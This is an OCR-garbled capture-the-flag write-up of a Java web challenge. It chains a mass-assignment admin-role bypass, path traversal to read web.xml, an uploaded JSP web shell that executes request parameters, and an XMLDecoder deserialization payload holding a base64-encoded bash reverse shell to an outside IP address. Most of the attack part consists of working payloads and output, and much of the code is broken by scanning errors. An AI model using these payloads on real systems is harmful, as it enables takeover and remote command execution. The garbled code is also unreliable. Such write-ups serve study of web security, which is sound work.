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script type

function doRegister(obj){

if(obj.username==null obj.password==null){

alert( )E
}else{

var d new Object();

d.username=obj.username;

d.password=obj.password;

d.role ;

.ajax({
url
type s
contentType
data JSON.stringify(d),
dataType ,
success:function(data){

alert(data)

script
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data={"username":"1","password":"1","role":"admin"}
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java. lang. NullPointerException
com. web. servlet. registerServlet. doPost (registerServlet. java:34)
javax. servlet. http. HttpServlet. service (HttpServlet. java:652)
javax. servlet. http. HttpServlet. service (HttpServlet. java:733)
org. apache. tomcat. websocket. server. WsFilter. doFilter (WsFilter. java:52)
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SeiE— Fweb.xml:

?file=../web.xml

< IDOCTYPE web-app PUBLIC

>register</ p
>com.web.servlet.registerServlet</

>login</ >
>com.web.servlet.loginServlet</

>home</ >
>com.web.servlet.homeServlet</

>upload</ >

>com.web.servlet.uploadServlet</

>download</ >
>com.web.servlet.downloadServlet</




>logout</ >

>com.web.servlet.logoutServlet</

>
>logout</
>/logout</
>
>
>download</
>/home/download</
>
>
>register</
>/register</
>
>java</
>
>login</
>/login</
>
>
>home</
>/home</
>
>
>upload</
>/home/upload</
>

>loginFilter</ >
>com.web.filter.LoginFilter</

>
>loginFilter</
>/home/*</

>

>java</

>
>/WEB-INF/index.jsp</
>
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String role 5

Gson gson new Gson();

new Person();

Connection connection null;

String var req.getParameter( ).replaceAll( ).replace(
Pattern pattern Pattern.compile( )

for(Matcher matcher = pattern.matcher(var); matcher.find(); role = matcher.group()) {
.

}
Person person;
if (!StringUtils.isNullOrEmpty(role)) {
var = var.replace(role, );
person (Person)gson.fromJson(var, Person.class);
t else {
person (Person)gson.fromJson(var, Person.class);

person.setRole( );
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data={"username":"1","password":"1","role":"admin","1":{"role":"1"}}
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if (checkExt(ext) checkContent(item.getInputStream())) {
req.setAttribute( ) )
req.getRequestDispatcher( ) .forward(req,

String filePath uploadPath File.separator name ext;
File storeFile new File(filePath);

item.write(storeFile);

req.setAttribute(
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WebKitFormBoundarylLH4SrsDPS4UucSBo
Content-Disposition: form-data; name="file"; filename="../../static/2.jsp"
Content-Type: application/octet-stream

<%
java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len = -1;
byte[] bytes = new byte[1024];
out.print("<pre>");
while ((len = input.read(bytes)) != -1) {

out.println(new String(bytes, "GBK"));

}

out.print("</pre>");
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A T4 | 35029d85-5243-46b2-ad67-213c3bd3b8f7.noded.buuoj.cn:81/static/2 jsp?cmd=/readflag

flag{1e7445d5-3195-41b7-9c0f-chbc4bocleebf}
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URL
http://35029d85-5243-46b2-ad67-213c3bd3b8f7.node4.buuoj.cn:81/static/2.jsp?cmd=/readflag
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public static void getConfig() throws FileNotFoundException {
Object obj (new XMLDecoder(new FileInputStream(System.getenv(
))) .readObject();
if (obj instanceof HashMap) {
HashMap map = (HashMap)obj;
if (map null map . get(
driver (String)map.get(
url (String)map.get( );
username (String)map.get(
password (String)map.get(
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java version
object class
array class length
void index <string>calc</string
array
void method void
object
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class="
class="
index="0">
>/bin/bash</
>

index="1"

>-c</

>
index="2">
>{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEUNS4xNjkuMjIzLzM50Dc2IDA+IjE=}|{base64, -d}|{bash,-i}</
>
>
method="
>

Input type: @ Bash O PowerShell O Python O Perl

bash -1 >& /dex/tcp/121. 5. 169. 223/39876 0>&1

bash —c {echo, YmFzaCAtaSA+JiAvZGV2L3R jcC8xMjEuNS4xN jkuMjIzLzM50Dc2IDA+] jE=} | {baseb4, —d}
{bash, -1}
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T sishell, 2R )57 f5idb.xml:
Content-Disposition: form-data; name="file"; filename="../db/db.xml"

T EHE SR ] [ sishell & Fiiflag .

app@8cac6ab3d4b6:/$ /readflag
/readflag

flag{a3eed8fb-bd34-46b7-b01b-5af6109c62c9}
app@8cac6a53d4b6:/$ |
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